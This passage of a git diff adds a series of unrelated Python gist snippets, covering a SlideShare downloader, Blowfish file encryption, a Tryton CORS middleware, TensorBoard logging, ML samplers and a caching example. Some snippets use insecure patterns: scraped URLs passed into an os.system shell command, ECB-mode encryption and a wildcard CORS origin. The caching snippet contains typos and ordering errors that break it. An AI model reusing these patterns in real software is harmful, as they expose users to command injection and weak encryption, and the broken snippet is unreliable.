+                for model in get_encoded_models(name):
+                    print "Clearing model '%s'" % model.__name__
+                    flush_model(model, to_database)
+
+        for name in apps_names:
+            models = get_encoded_models(name)
+            for model in models:
+                # import pudb; pu.db
+                print "Copying model '%s'" % model.__name__
+                copy_model(model, from_database, to_database, ignore_errors=options['ignore-errors'],
+                           natural_key_models=natural_key_models, skip_models=skip_models)
+
+
+
diff --git a/hard-gists/1f140573b37939e78eb5/._snippet.py b/hard-gists/1f140573b37939e78eb5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1f140573b37939e78eb5/._snippet.py differ
diff --git a/hard-gists/1f140573b37939e78eb5/snippet.py b/hard-gists/1f140573b37939e78eb5/snippet.py
new file mode 100644
index 00000000..1b932974
--- /dev/null
+++ b/hard-gists/1f140573b37939e78eb5/snippet.py
@@ -0,0 +1,99 @@
+import os
+from Crypto.Cipher import _Blowfish
+from struct import pack
+
+
+def encrypt(infilepath, outfilepath, key):
+    """ Encrypt the specified file with the specified
+       key and output to the chosen output file."""
+
+    size = os.path.getsize(infilepath)
+    infile = open(infilepath, 'rb')
+    outfile = open(outfilepath, 'wb')
+    data = infile.read()
+    infile.close()
+
+    if size % 8 > 0:  # Add padding if size if not divisible by 8
+        extra = 8-(size % 8)
+        padding = [0]*extra
+        padding = pack('b'*extra, *padding)
+        data += padding
+
+    revdata = reversebytes(data)
+    encrypted_data = encryptbytes(revdata, key)
+    finaldata = reversebytes(encrypted_data)
+    outfile.write(finaldata)
+    outfile.close()
+
+
+def encryptbytes(data, key):
+
+    cipher = _Blowfish.new(key, _Blowfish.MODE_ECB)
+    return cipher.encrypt(data)
+
+
+def decrypt(infilepath, outfilepath, key):
+    """ Decrypt the specified file with the specified
+       key and output to the chosen output file"""
+
+    infile = open(infilepath, 'rb')
+    outfile = open(outfilepath, 'wb')
+    data = infile.read()
+    infile.close()
+
+    revdata = reversebytes(data)
+    decrypted_data = decryptbytes(revdata, key)
+    finaldata = reversebytes(decrypted_data)
+
+    end = len(finaldata) - 1
+    while str(finaldata[end]).encode('hex') == '00':
+        end -= 1
+
+    finaldata = finaldata[0:end]
+
+    outfile.write(finaldata)
+    outfile.close()
+
+
+def decryptbytes(data, key):
+
+    cipher = _Blowfish.new(key, _Blowfish.MODE_ECB)
+    return cipher.decrypt(data)
+
+
+def reversebytes(data):
+    """ Takes data and reverses byte order to fit
+        blowfish-compat format. For example, using
+        reversebytes('12345678') will return 43218765."""
+    data_size = 0
+    for n in data:
+        data_size += 1
+
+    reversedbytes = bytearray()
+    i = 0
+    for x in range(0, data_size/4):
+        a = (data[i:i+4])
+        i += 4
+        z = 0
+
+        n0 = a[z]
+        n1 = a[z+1]
+        n2 = a[z+2]
+        n3 = a[z+3]
+        reversedbytes.append(n3)
+        reversedbytes.append(n2)
+        reversedbytes.append(n1)
+        reversedbytes.append(n0)
+
+    return buffer(reversedbytes)
+
+
+'''
+############# USES #############
+infilepath = 'input.txt'
+outfilepath = 'output.txt'
+key = "mykey" 
+
+encrypt(infilepath, outfilepath, key)
+decrypt(infilepath, outfilepath, key)
+'''
\ No newline at end of file
diff --git a/hard-gists/1f66e4d58074d64c8268/._snippet.py b/hard-gists/1f66e4d58074d64c8268/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1f66e4d58074d64c8268/._snippet.py differ
diff --git a/hard-gists/1f66e4d58074d64c8268/snippet.py b/hard-gists/1f66e4d58074d64c8268/snippet.py
new file mode 100644
index 00000000..a669f0ac
--- /dev/null
+++ b/hard-gists/1f66e4d58074d64c8268/snippet.py
@@ -0,0 +1,47 @@
+import argparse
+import urllib.request
+import os
+import img2pdf
+
+from os import walk
+from os.path import join
+from bs4 import BeautifulSoup
+
+work_dir = os.path.dirname(__file__)
+
+
+def download_images(url):
+    html = urllib.request.urlopen(url).read()
+    soup = BeautifulSoup(html)
+    title = 'pdf_images'  # soup.title.string
+    images = soup.findAll('img', {'class': 'slide_image'})
+
+    for image in images:
+        image_url = image.get('data-full').split('?')[0]
+        command = 'wget %s -P %s --quiet' % (image_url, title)
+        os.system(command)
+
+    convert_pdf(title)
+
+
+def convert_pdf(url):
+    f = []
+    for (dirpath, dirnames, filenames) in walk(join(work_dir, url)):
+        f.extend(filenames)
+        break
+    f = ["%s/%s" % (url, x) for x in f]
+    print("Making pdf")
+
+    pdf_bytes = img2pdf.convert(f, dpi=300, x=None, y=None)
+    doc = open('presentation.pdf', 'wb')
+    doc.write(pdf_bytes)
+    doc.close()
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("url", type=str,
+                        help="download an slideshare presentation given the url")
+    args = parser.parse_args()
+
+    download_images(args.url)
+    os.system('rm -r pdf_images')
diff --git a/hard-gists/1f8dfb1b5c82627ae3efcfbbadb9f514/._snippet.py b/hard-gists/1f8dfb1b5c82627ae3efcfbbadb9f514/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1f8dfb1b5c82627ae3efcfbbadb9f514/._snippet.py differ
diff --git a/hard-gists/1f8dfb1b5c82627ae3efcfbbadb9f514/snippet.py b/hard-gists/1f8dfb1b5c82627ae3efcfbbadb9f514/snippet.py
new file mode 100644
index 00000000..e6104d41
--- /dev/null
+++ b/hard-gists/1f8dfb1b5c82627ae3efcfbbadb9f514/snippet.py
@@ -0,0 +1,86 @@
+"""Simple example on how to log scalars and images to tensorboard without tensor ops.
+
+License: Copyleft
+"""
+__author__ = "Michael Gygli"
+
+import tensorflow as tf
+from StringIO import StringIO
+import matplotlib.pyplot as plt
+import numpy as np
+
+class Logger(object):
+    """Logging in tensorboard without tensorflow ops."""
+
+    def __init__(self, log_dir):
+        """Creates a summary writer logging to log_dir."""
+        self.writer = tf.summary.FileWriter(log_dir)
+
+    def log_scalar(self, tag, value, step):
+        """Log a scalar variable.
+
+        Parameter
+        ----------
+        tag : basestring
+            Name of the scalar
+        value
+        step : int
+            training iteration
+        """
+        summary = tf.Summary(value=[tf.Summary.Value(tag=tag,
+                                                     simple_value=value)])
+        self.writer.add_summary(summary, step)
+
+    def log_images(self, tag, images, step):
+        """Logs a list of images."""
+
+        im_summaries = []
+        for nr, img in enumerate(images):
+            # Write the image to a string
+            s = StringIO()
+            plt.imsave(s, img, format='png')
+
+            # Create an Image object
+            img_sum = tf.Summary.Image(encoded_image_string=s.getvalue(),
+                                       height=img.shape[0],
+                                       width=img.shape[1])
+            # Create a Summary value
+            im_summaries.append(tf.Summary.Value(tag='%s/%d' % (tag, nr),
+                                                 image=img_sum))
+
+        # Create and write Summary
+        summary = tf.Summary(value=im_summaries)
+        self.writer.add_summary(summary, step)
+        
+
+    def log_histogram(self, tag, values, step, bins=1000):
+        """Logs the histogram of a list/vector of values."""
+        # Convert to a numpy array
+        values = np.array(values)
+        
+        # Create histogram using numpy        
+        counts, bin_edges = np.histogram(values, bins=bins)
+
+        # Fill fields of histogram proto
+        hist = tf.HistogramProto()
+        hist.min = float(np.min(values))
+        hist.max = float(np.max(values))
+        hist.num = int(np.prod(values.shape))
+        hist.sum = float(np.sum(values))
+        hist.sum_squares = float(np.sum(values**2))
+
+        # Requires equal number as bins, where the first goes from -DBL_MAX to bin_edges[1]
+        # See https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/framework/summary.proto#L30
+        # Thus, we drop the start of the first bin
+        bin_edges = bin_edges[1:]
+
+        # Add bin edges and counts
+        for edge in bin_edges:
+            hist.bucket_limit.append(edge)
+        for c in counts:
+            hist.bucket.append(c)
+
+        # Create and write Summary
+        summary = tf.Summary(value=[tf.Summary.Value(tag=tag, histo=hist)])
+        self.writer.add_summary(summary, step)
+        self.writer.flush()
diff --git a/hard-gists/1fa4f3360ffdb1e69507/._snippet.py b/hard-gists/1fa4f3360ffdb1e69507/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1fa4f3360ffdb1e69507/._snippet.py differ
diff --git a/hard-gists/1fa4f3360ffdb1e69507/snippet.py b/hard-gists/1fa4f3360ffdb1e69507/snippet.py
new file mode 100644
index 00000000..243f9efb
--- /dev/null
+++ b/hard-gists/1fa4f3360ffdb1e69507/snippet.py
@@ -0,0 +1,41 @@
+from PySide import QtCore, QtGui
+import sys
+
+app = QtGui.QApplication(sys.argv)
+QtGui.qApp = app
+
+folderTree = QtGui.QTreeWidget()
+
+header = QtGui.QTreeWidgetItem(["Virtual folder tree","Comment"])
+#...
+folderTree.setHeaderItem(header)   #Another alternative is setHeaderLabels(["Tree","First",...])
+
+root = QtGui.QTreeWidgetItem(folderTree, ["Untagged files"])
+root.setData(2, QtCore.Qt.EditRole, 'Some hidden data here')	# Data set to column 2, which is not visible
+
+folder1 = QtGui.QTreeWidgetItem(root, ["Interiors"])
+folder1.setData(2, QtCore.Qt.EditRole, 'Some hidden data here')	# Data set to column 2, which is not visible
+
+folder2 = QtGui.QTreeWidgetItem(root, ["Exteriors"])
+folder2.setData(2, QtCore.Qt.EditRole, 'Some hidden data here')	# Data set to column 2, which is not visible
+
+folder1_1 = QtGui.QTreeWidgetItem(folder1, ["Bathroom", "Seg was here"])
+folder1_1.setData(2, QtCore.Qt.EditRole, 'Some hidden data here')	# Data set to column 2, which is not visible
+
+folder1_2 = QtGui.QTreeWidgetItem(folder1, ["Living room", "Approved by client"])
+folder1_2.setData(2, QtCore.Qt.EditRole, 'Some hidden data here')	# Data set to column 2, which is not visible
+
+
+
+def printer( treeItem ):
+	foldername = treeItem.text(0)
+	comment = treeItem.text(1)
+	data = treeItem.text(2)
+	print foldername + ': ' + comment + ' (' + data + ')'
+
+
+folderTree.itemClicked.connect( lambda : printer( folderTree.currentItem() ) )
+
+
+folderTree.show()
+sys.exit(app.exec_())
\ No newline at end of file
diff --git a/hard-gists/1fe7b9ef3e6108216759/._snippet.py b/hard-gists/1fe7b9ef3e6108216759/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1fe7b9ef3e6108216759/._snippet.py differ
diff --git a/hard-gists/1fe7b9ef3e6108216759/snippet.py b/hard-gists/1fe7b9ef3e6108216759/snippet.py
new file mode 100644
index 00000000..2767a5aa
--- /dev/null
+++ b/hard-gists/1fe7b9ef3e6108216759/snippet.py
@@ -0,0 +1,35 @@
+saved = {}
+
+def web_lookup(url):
+    if url in saved:
+        return saverd[url]
+    page = urrlib.urlopen(url).read()
+    saved[url] = page
+    return page
+
+# NEEDS TO BE A PURE FUNCTION, NO SIDE EFFECTS LIKE PRINT
+
+# PYTHON 3
+from functools import lru_cache
+@lru_cache(maxsize=None)
+def web_lookup(url):
+    return urrlib.urlopen(url).read()
+
+
+# PYTHON 2
+@cache
+def web_lookup(url):
+    return urrlib.urlopen(url).read()
+
+from functools import wraps
+
+def cache(func):
+    saved = {}
+    @wraps(func)
+    def newfunc(*args):
+        if args in saved:
+            return saved[args]
+        result = func(*args)
+        saved[args] = result
+        return result
+    return newfunc
\ No newline at end of file
diff --git a/hard-gists/2005165/._snippet.py b/hard-gists/2005165/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2005165/._snippet.py differ
diff --git a/hard-gists/2005165/snippet.py b/hard-gists/2005165/snippet.py
new file mode 100644
index 00000000..02b184bc
--- /dev/null
+++ b/hard-gists/2005165/snippet.py
@@ -0,0 +1,61 @@
+import urllib, hashlib
+from django import template
+from django.conf import settings
+from django.contrib.staticfiles.storage import staticfiles_storage
+
+# To use this template tag:
+# 1. Add it to the templatetags/ directory of your Django app.
+# 2. Then load and use it in the template like so:
+#
+# {% load gravatar %}
+# {% gravatar_url 'foo@bar.com' 96 %}
+#
+# 3. Configure settings.py:
+#
+# GRAVATAR_DEFAULT = 'mm'  # Mystery Man.
+# GRAVATAR_RATING = 'pg'   # PG rated only.
+# GRAVATAR_SIZE = 40       # Size to use if not specified.
+
+register = template.Library()
+
+@register.tag
+def gravatar_url(parser, token):
+    try:
+        token_parts = token.split_contents()
+        args = token_parts[1:]
+    except ValueError, IndexError:
+        raise template.TemplateSyntaxError, "%r tag requires at least one argument" % token.contents.split()[0]
+    return GravatarUrlNode(*args)
+
+
+class GravatarUrlNode(template.Node):
+    def __init__(self, email, size=None):
+        self.email = template.Variable(email)
+        self.size = size
+
+    def render(self, context):
+        try:
+            email = self.email.resolve(context)
+            request = context.get('request')
+        except template.VariableDoesNotExist:
+            return ''
+        except KeyError:
+            raise Exception('gravatar_url requires `RequestContext` or `request` in template context')
+        # http://en.gravatar.com/site/implement/images/
+        params = dict(
+            s = self.size or getattr(settings, 'GRAVATAR_SIZE', 40),
+            r = getattr(settings, 'GRAVATAR_RATING', 'pg'),
+        )
+        default = getattr(settings, 'GRAVATAR_DEFAULT', None)
+        if default:
+            if default not in ('404', 'mm', 'identicon', 'monsterid', 'wavatar', 'retro', ):
+                default = staticfiles_storage.url(default)
+            params['d'] = default
+        proto = 'http'
+        host = 'www.gravatar.com'
+        if request.is_secure():
+            proto += 's'
+            host = 'secure.gravatar.com'
+        gravatar_url = proto + "://" + host + "/avatar/" + hashlib.md5(email.lower()).hexdigest() + "?"
+        gravatar_url += urllib.urlencode(params)
+        return gravatar_url
\ No newline at end of file
diff --git a/hard-gists/20089f4abf9706d0cdc4/._snippet.py b/hard-gists/20089f4abf9706d0cdc4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/20089f4abf9706d0cdc4/._snippet.py differ
diff --git a/hard-gists/20089f4abf9706d0cdc4/snippet.py b/hard-gists/20089f4abf9706d0cdc4/snippet.py
new file mode 100644
index 00000000..133303cc
--- /dev/null
+++ b/hard-gists/20089f4abf9706d0cdc4/snippet.py
@@ -0,0 +1,82 @@
+# Implementation of a simple MLP network with one hidden layer. Tested on the iris data set.
+# Requires: numpy, sklearn, theano
+
+# NOTE: In order to make the code simple, we rewrite x * W_1 + b_1 = x' * W_1' 
+# where x' = [x | 1] and W_1' is the matrix W_1 appended with a new row with elements b_1's. 
+# Similarly, for h * W_2 + b_2
+import theano
+from theano import tensor as T
+import numpy as np
+from sklearn import datasets
+from sklearn.cross_validation import train_test_split
+
+def init_weights(shape):
+    """ Weight initialization """
+    weights = np.asarray(np.random.randn(*shape) * 0.01, dtype=theano.config.floatX)
+    return theano.shared(weights)
+
+def backprop(cost, params, lr=0.01):
+    """ Back-propagation """
+    grads   = T.grad(cost=cost, wrt=params)
+    updates = []
+    for p, g in zip(params, grads):
+        updates.append([p, p - g * lr])
+    return updates
+
+def forwardprop(X, w_1, w_2):
+    """ Forward-propagation """
+    h    = T.nnet.sigmoid(T.dot(X, w_1))  # The \sigma function
+    yhat = T.nnet.softmax(T.dot(h, w_2))  # The \varphi function
+    return yhat
+
+def get_iris_data():
+    """ Read the iris data set and split them into training and test sets """
+    iris   = datasets.load_iris()
+    data   = iris.data
+    target = iris.target
+
+    # Prepend the column of 1s for bias
+    N, M  = data.shape
+    all_X = np.ones((N, M + 1))
+    all_X[:, 1:] = data
+
+    # Convert into one-hot vectors
+    num_labels = len(np.unique(target))
+    all_Y = np.eye(num_labels)[target]  # One liner trick!
+    return train_test_split(all_X, all_Y, test_size=0.33)
+
+if __name__ == '__main__':
+    train_X, test_X, train_y, test_y = get_iris_data()
+
+    # Symbols
+    X = T.fmatrix()
+    Y = T.fmatrix()
+
+    # Layer's sizes
+    x_size = train_X.shape[1]             # Number of input nodes: 4 features and 1 bias
+    h_size = 256                          # Number of hidden nodes
+    y_size = train_y.shape[1]             # Number of outcomes (3 iris flowers)
+    w_1 = init_weights((x_size, h_size))  # Weight initializations
+    w_2 = init_weights((h_size, y_size))
+
+    # Forward propagation
+    yhat   = forwardprop(X, w_1, w_2)
+
+    # Backward propagation
+    cost    = T.mean(T.nnet.categorical_crossentropy(yhat, Y))
+    params  = [w_1, w_2]
+    updates = backprop(cost, params)
+
+    # Train and predict
+    train   = theano.function(inputs=[X, Y], outputs=cost, updates=updates, allow_input_downcast=True)
+    pred_y  = T.argmax(yhat, axis=1)
+    predict = theano.function(inputs=[X], outputs=pred_y, allow_input_downcast=True)
+
+    # Run SGD
+    for iter in range(500):
+        for i in range(len(train_X)):
+            train(train_X[i: i + 1], train_y[i: i + 1])
+        train_accuracy = np.mean(np.argmax(train_y, axis=1) == predict(train_X))
+        test_accuracy  = np.mean(np.argmax(test_y, axis=1) == predict(test_X))
+        print("Iteration = %d, train accuracy = %.2f%%, test accuracy = %.2f%%"
+              % (iter + 1, 100 * train_accuracy, 100 * test_accuracy))
diff --git a/hard-gists/2011426/._snippet.py b/hard-gists/2011426/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2011426/._snippet.py differ
diff --git a/hard-gists/2011426/snippet.py b/hard-gists/2011426/snippet.py
new file mode 100644
index 00000000..9989614e
--- /dev/null
+++ b/hard-gists/2011426/snippet.py
@@ -0,0 +1,103 @@
+import numpy as np
+import scipy.stats
+
+
+class ChineseRestaurantProcess(object):
+    def __init__(self, alpha):
+        self.alpha = alpha
+        self.customers = []
+    def sample(self, n_samples=1):
+        samples = []
+        for i in xrange(n_samples):
+            probs = np.hstack([self.customers, self.alpha])
+            probs /= probs.sum()
+            table = np.where(np.random.multinomial(1, probs))[0][0]
+            if table < len(self.customers):
+                self.customers[table] += 1
+            else:
+                self.customers.append(1)
+            samples.append(table)
+            if len(samples) == 1:
+                return samples[0]
+        return samples
+
+class WishartSampler(object):
+    # Odell and Feiveson, 1966:  A numerical procedure to generate a sample covariance matrix
+    def __init__(self, degrees_freedom, n_features):
+        if degrees_freedom < n_features - 1:
+            raise ValueError("Degrees of freedom must be bigger than n_features - 1")
+        self.degrees_freedom = degrees_freedom
+        self.n_features = n_features
+    def sample(self, n_samples=1):
+        samples = []
+        inds = np.arange(self.n_features)
+        for i in xrange(n_samples):
+            V = [np.random.chisquare(self.degrees_freedom - k + 1)
+                    for k in xrange(self.n_features)]
+            V = np.array(V)
+            N = np.random.normal(size=(self.n_features, self.n_features))
+            N = np.triu(N, 1)
+            diag = V + np.sum(N ** 2, axis=0)
+            B = N * np.sqrt(V) + np.dot(N.T, N)
+            B = np.triu(B, 1)
+            B += B.T
+            B[inds, inds] = diag
+            samples.append(B)
+        if len(samples) == 1:
+            return samples[0]
+        return samples
+
+class MultiVariateGaussian(object):
+    def __init__(self, mean, covariance):
+        self.mean = mean
+        self.covariance = covariance
+    def sample(self, n_samples=1):
+        samples = np.random.multivariate_normal(mean=self.mean,
+                cov=self.covariance, size=n_samples)
+        return samples
+
+
+class DPGMMSampler(object):
+    def __init__(self, alpha, degrees_freedoms, sigma, n_features):
+        self.alpha = alpha
+        self.n_features = n_features
+        self.deg_freedoms = degrees_freedoms
+        self.sigma = sigma
+        self.crp = ChineseRestaurantProcess(alpha)
+        self.wishart = WishartSampler(degrees_freedoms, n_features)
+        self.gaussian_prior = scipy.stats.norm(scale=self.sigma)
+        self.gaussians = []
+    def sample(self, n_samples):
+        samples = []
+        for i in xrange(n_samples):
+            cluster = self.crp.sample()
+            if cluster >= len(self.gaussians):
+                mean = self.gaussian_prior.rvs(size=self.n_features)
+                covariance = np.linalg.inv(self.wishart.sample())
+                self.gaussians.append(MultiVariateGaussian(mean, covariance))
+            samples.append(self.gaussians[cluster].sample())
+        return np.vstack(samples)
+
+
+def test_crp():
+    crp = ChineseRestaurantProcess(.5)
+    print(crp.sample(10))
+
+def test_wishart():
+    wishart = WishartSampler(6, 4)
+    print(wishart.sample())
+
+
+def test_dpgmm():
+    import matplotlib.pyplot as plt
+    dpgmm = DPGMMSampler(10.1, 10, 3, 2)
+    X = dpgmm.sample(100)
+    plt.scatter(X[:, 0], X[:, 1], c='b')
+    for g in dpgmm.gaussians:
+        plt.plot(g.mean[0], g.mean[1], 'r.')
+    plt.show()
+
+if __name__ == "__main__":
+    #test_crp()
+    #test_wishart()
+    test_dpgmm()
diff --git a/hard-gists/2019037/._snippet.py b/hard-gists/2019037/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2019037/._snippet.py differ
diff --git a/hard-gists/2019037/snippet.py b/hard-gists/2019037/snippet.py
new file mode 100644
index 00000000..843c747e
--- /dev/null
+++ b/hard-gists/2019037/snippet.py
@@ -0,0 +1,136 @@
+# -*- coding: utf-8 -*-
+"""
+    wsgi_app
+
+    A wsgi application script to load tryton and also the middleware required
+    to support Cross Origin Resource Sharing (CORS).
+
+    Inspired by the original work at http://codereview.tryton.org/92001/ by
+    Cedric.
+
+    :copyright: (c) 2011 by Cedric Krier
+    :copyright: (c) 2012 by Openlabs Technologies & Consulting (P) Limited
+    :license: BSD, see LICENSE for more details.
+"""
+
+import sys
+import json
+import traceback
+from BaseHTTPServer import BaseHTTPRequestHandler, DEFAULT_ERROR_MESSAGE
+
+#: This parameter specifies the origin URLs from which the tryton server can
+#: accept requests. While specifying '*' here might seem like a security hole
+#: this is usually how your trytond runs anyway! listening to requests from 
+#: all IPs
+ALLOW_ORIGIN = "*"
+
+#: These are the only headers that are required by the app 
+ALLOW_HEADERS = "origin, x-requested-with, content-type"
+
+#: If you have your config file in an unconventional location
+CONFIG_PATH = 'trytond.conf'
+
+from trytond.config import CONFIG
+CONFIG.update_etc(CONFIG_PATH)
+from trytond.protocols.jsonrpc import object_hook, JSONEncoder
+from trytond.protocols.dispatcher import dispatch
+from trytond.pool import Pool
+from trytond.exceptions import UserError, UserWarning, NotLogged, \
+    ConcurrencyException
+Pool.start()
+
+
+def jsonrpc_app(environ, start_response):
+    'JSON-RPC dispatcher'
+    if environ['REQUEST_METHOD'] == 'POST':
+        body = ''
+        try:
+            length = int(environ.get('CONTENT_LENGTH', '0'))
+        except ValueError:
+            length = 0
+        body = environ['wsgi.input'].read(length)
+        rawreq = json.loads(body, object_hook=object_hook)
+        req_id = rawreq.get('id', 0)
+        method = rawreq['method']
+        params = rawreq.get('params', [])
+
+        response = {'id': req_id}
+        database_name = environ['PATH_INFO'][1:]
+        # TODO sao
+        method_list = method.split('.')
+        object_type = method_list[0]
+        object_name = '.'.join(method_list[1:-1])
+        method = method_list[-1]
+        args = (environ['SERVER_NAME'], int(environ['SERVER_PORT']),
+            'JSON-RPC', database_name, params[0], params[1], object_type,
+            object_name, method) + tuple(params[2:])
+        try:
+            response['result'] = dispatch(*args)
+        except (UserError, UserWarning, NotLogged,
+                ConcurrencyException), exception:
+            response['error'] = exception.args
+        except Exception:
+            tb_s = ''.join(traceback.format_exception(*sys.exc_info()))
+            for path in sys.path:
+                tb_s = tb_s.replace(path, '')
+            # report exception back to server
+            response['error'] = (str(sys.exc_value), tb_s)
+
+        start_response('200 OK', [('Content-Type', 'application/json-rpc')])
+        return [json.dumps(response, cls=JSONEncoder)]
+    # TODO implement GET
+    else:
+        code = '501'
+        message, explain = BaseHTTPRequestHandler.responses[code]
+        start_response(code, [('Content-Type', 'text/html'),
+                            ('Connection', 'close')])
+        return [DEFAULT_ERROR_MESSAGE % locals()]
+
+
+class TrytonWebMiddleware(object):
+    """
+    A Middleware class to extend the app to respond to OPTIONS request and
+    support Cross-origin resource sharing.
+    """
+    def __init__(self, app):
+        self.app = app
+
+    def __call__(self, environ, start_response):
+        if environ['REQUEST_METHOD'] == 'OPTIONS':
+            # Most browser implementation of CORS sends an OPTIONS request 
+            # first to test if the resource support XDomain requests.
+            # So handle them 
+            start_response('200 OK', [
+                ('Access-Control-Allow-Origin', ALLOW_ORIGIN),
+                ('Access-Control-Allow-Headers', ALLOW_HEADERS),
+            ])
+            return ['POST']
+        else:
+            def cors_start_response(status, headers, exc_info=None):
+                headers.append(
+                    ('Access-Control-Allow-Origin', ALLOW_ORIGIN)
+                )
+                headers.append(
+                    ('Access-Control-Allow-Headers', ALLOW_HEADERS)
+                )
+                return start_response(status, headers, exc_info)
+
+            return self.app(environ, cors_start_response)
+
+
+application = TrytonWebMiddleware(jsonrpc_app)
+
+
+if __name__ == '__main__':
+    # This is not a really stable/healthy way to run the wsgi app
+    # 
+    # Install gunicorn using `pip install gunicorn` and then run the app
+    # using the following command
+    #
+    # `gunicorn wsgi_app -b 0.0.0.0:8000`
+    #
+    # where wsgi_app is the name of this file
+    #
+    from wsgiref.simple_server import make_server
+    httpd = make_server('', 8000, application)
+    httpd.handle_request()
diff --git a/hard-gists/2020955/._snippet.py b/hard-gists/2020955/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2020955/._snippet.py differ
diff --git a/hard-gists/2020955/snippet.py b/hard-gists/2020955/snippet.py
new file mode 100644
index 00000000..1ea04268
--- /dev/null
+++ b/hard-gists/2020955/snippet.py
@@ -0,0 +1,166 @@
+"""
+Implementation of pairwise ranking using scikit-learn LinearSVC
+
+Reference: 
+
+    "Large Margin Rank Boundaries for Ordinal Regression", R. Herbrich,
+    T. Graepel, K. Obermayer 1999
+
+    "Learning to rank from medical imaging data." Pedregosa, Fabian, et al., 
+    Machine Learning in Medical Imaging 2012.
+
+
+Authors: Fabian Pedregosa <fabian@fseoane.net>
+         Alexandre Gramfort <alexandre.gramfort@inria.fr>
+
+See also https://github.com/fabianp/pysofia for a more efficient implementation
+of RankSVM using stochastic gradient descent methdos.
+"""
+
+import itertools
+import numpy as np
+
+from sklearn import svm, linear_model, cross_validation
+
+
+def transform_pairwise(X, y):
+    """Transforms data into pairs with balanced labels for ranking
+
+    Transforms a n-class ranking problem into a two-class classification
+    problem. Subclasses implementing particular strategies for choosing
+    pairs should override this method.
+
+    In this method, all pairs are choosen, except for those that have the
+    same target value. The output is an array of balanced classes, i.e.
+    there are the same number of -1 as +1
+
+    Parameters
+    ----------
+    X : array, shape (n_samples, n_features)
+        The data
+    y : array, shape (n_samples,) or (n_samples, 2)
+        Target labels. If it's a 2D array, the second column represents
+        the grouping of samples, i.e., samples with different groups will
+        not be considered.
+
+    Returns
+    -------
+    X_trans : array, shape (k, n_feaures)
+        Data as pairs
+    y_trans : array, shape (k,)
+        Output class labels, where classes have values {-1, +1}
+    """
+    X_new = []
+    y_new = []
+    y = np.asarray(y)
+    if y.ndim == 1:
+        y = np.c_[y, np.ones(y.shape[0])]
+    comb = itertools.combinations(range(X.shape[0]), 2)
+    for k, (i, j) in enumerate(comb):
+        if y[i, 0] == y[j, 0] or y[i, 1] != y[j, 1]:
+            # skip if same target or different group
+            continue
+        X_new.append(X[i] - X[j])
+        y_new.append(np.sign(y[i, 0] - y[j, 0]))
+        # output balanced classes
+        if y_new[-1] != (-1) ** k:
+            y_new[-1] = - y_new[-1]
+            X_new[-1] = - X_new[-1]
+    return np.asarray(X_new), np.asarray(y_new).ravel()
+
+
+class RankSVM(svm.LinearSVC):
+    """Performs pairwise ranking with an underlying LinearSVC model
+
+    Input should be a n-class ranking problem, this object will convert it
+    into a two-class classification problem, a setting known as
+    `pairwise ranking`.
+
+    See object :ref:`svm.LinearSVC` for a full description of parameters.
+    """
+
+    def fit(self, X, y):
+        """
+        Fit a pairwise ranking model.
+
+        Parameters
+        ----------
+        X : array, shape (n_samples, n_features)
+        y : array, shape (n_samples,) or (n_samples, 2)
+
+        Returns
+        -------
+        self
+        """
+        X_trans, y_trans = transform_pairwise(X, y)
+        super(RankSVM, self).fit(X_trans, y_trans)
+        return self
+
+    def decision_function(self, X):
+        return np.dot(X, self.coef_.ravel())
+
+    def predict(self, X):
+        """
+        Predict an ordering on X. For a list of n samples, this method
+        returns a list from 0 to n-1 with the relative order of the rows of X.
+        The item is given such that items ranked on top have are
+        predicted a higher ordering (i.e. 0 means is the last item
+        and n_samples would be the item ranked on top).
+
+        Parameters
+        ----------
+        X : array, shape (n_samples, n_features)
+
+        Returns
+        -------
+        ord : array, shape (n_samples,)
+            Returns a list of integers representing the relative order of
+            the rows in X.
+        """
+        if hasattr(self, 'coef_'):
+            return np.argsort(np.dot(X, self.coef_.ravel()))
+        else:
+            raise ValueError("Must call fit() prior to predict()")
+
+    def score(self, X, y):
+        """
+        Because we transformed into a pairwise problem, chance level is at 0.5
+        """
+        X_trans, y_trans = transform_pairwise(X, y)
+        return np.mean(super(RankSVM, self).predict(X_trans) == y_trans)
+
+
+if __name__ == '__main__':
+    # as showcase, we will create some non-linear data
+    # and print the performance of ranking vs linear regression
+
+    np.random.seed(1)
+    n_samples, n_features = 300, 5
+    true_coef = np.random.randn(n_features)
+    X = np.random.randn(n_samples, n_features)
+    noise = np.random.randn(n_samples) / np.linalg.norm(true_coef)
+    y = np.dot(X, true_coef)
+    y = np.arctan(y) # add non-linearities
+    y += .1 * noise  # add noise
+    Y = np.c_[y, np.mod(np.arange(n_samples), 5)]  # add query fake id
+    cv = cross_validation.KFold(n_samples, 5)
+    train, test = iter(cv).next()
+
+    # make a simple plot out of it
+    import pylab as pl
+    pl.scatter(np.dot(X, true_coef), y)
+    pl.title('Data to be learned')
+    pl.xlabel('<X, coef>')
+    pl.ylabel('y')
+    pl.show()
+
+    # print the performance of ranking
+    rank_svm = RankSVM().fit(X[train], Y[train])
+    print 'Performance of ranking ', rank_svm.score(X[test], Y[test])
+
+    # and that of linear regression
+    ridge = linear_model.RidgeCV(fit_intercept=True)
+    ridge.fit(X[train], y[train])
+    X_test_trans, y_test_trans = transform_pairwise(X[test], y[test])
+    score = np.mean(np.sign(np.dot(X_test_trans, ridge.coef_)) == y_test_trans)
+    print 'Performance of linear regression ', score
\ No newline at end of file
diff --git a/hard-gists/2021781/._snippet.py b/hard-gists/2021781/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2021781/._snippet.py differ
diff --git a/hard-gists/2021781/snippet.py b/hard-gists/2021781/snippet.py
new file mode 100644
index 00000000..1d118235
--- /dev/null
+++ b/hard-gists/2021781/snippet.py
